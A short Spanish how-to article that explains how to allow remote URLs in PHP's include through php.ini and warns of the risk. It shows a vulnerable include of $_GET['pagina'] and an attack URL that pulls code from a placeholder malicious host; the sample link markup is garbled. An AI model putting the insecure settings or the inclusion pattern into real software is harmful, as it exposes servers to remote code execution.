PHP 5 – Utilizar una url externa con la función include

Octubre 2017


La opción que permite incluir una url externa (es decir absoluta, del tipo http://site.tld/url) mediante la función include, está deshabilitada por defecto en la versión 5 y posteriores de PHP. Para habilitarla, en tu servidor pon estas dos líneas en el fichero php.ini.

allow_url_include = 1
allow_url_fopen = 1

Para mayor información, ver Aquí

IMPORTANTE: Sin embargo, es muy peligroso habilitar la opción allow_url_include. En ciertos casos, puede ocasionar graves fallas de seguridad si el desarrollador es negligente.


Veamos un ejemplo simple, supongamos que tienes un script PHP que incluye una página en función de lo que se le da como argumentos vía la URL.
Es decir que tecleando http://tusitio.flet/mipagina.php?page=pagina_a_incluir.php vas a incluir la página “pagina_a_incluir.php”
Si tu código se parece a esto: include $_GET['pagina']; entonces estarás dejando la puerta abierta para que cualquiera añada código externo. Es así que nada impide que yo pueda incluir una página:

href= <a href='http://sitiomalicioso.prout/paginamaliciosa.php'' target='_blank'>http://sitiomalicioso.prout/paginamaliciosa.php'</a> target='_blank' rel='nofollow'>http://tusitio.flet/mipagina.php?http://sitiomalicioso.prout/paginamaliciosa.php</a>

Por lo tanto hay que estar atentos si habilitamos esta opción.
Publicado por Carlos-vialfa. Última actualización: 5 de noviembre de 2009 a las 17:06 por Carlos-vialfa.
El documento «PHP 5 – Utilizar una url externa con la función include» se encuentra disponible bajo una licencia Creative Commons. Puedes copiarlo o modificarlo libremente. No olvides citar a CCM (es.ccm.net) como tu fuente de información.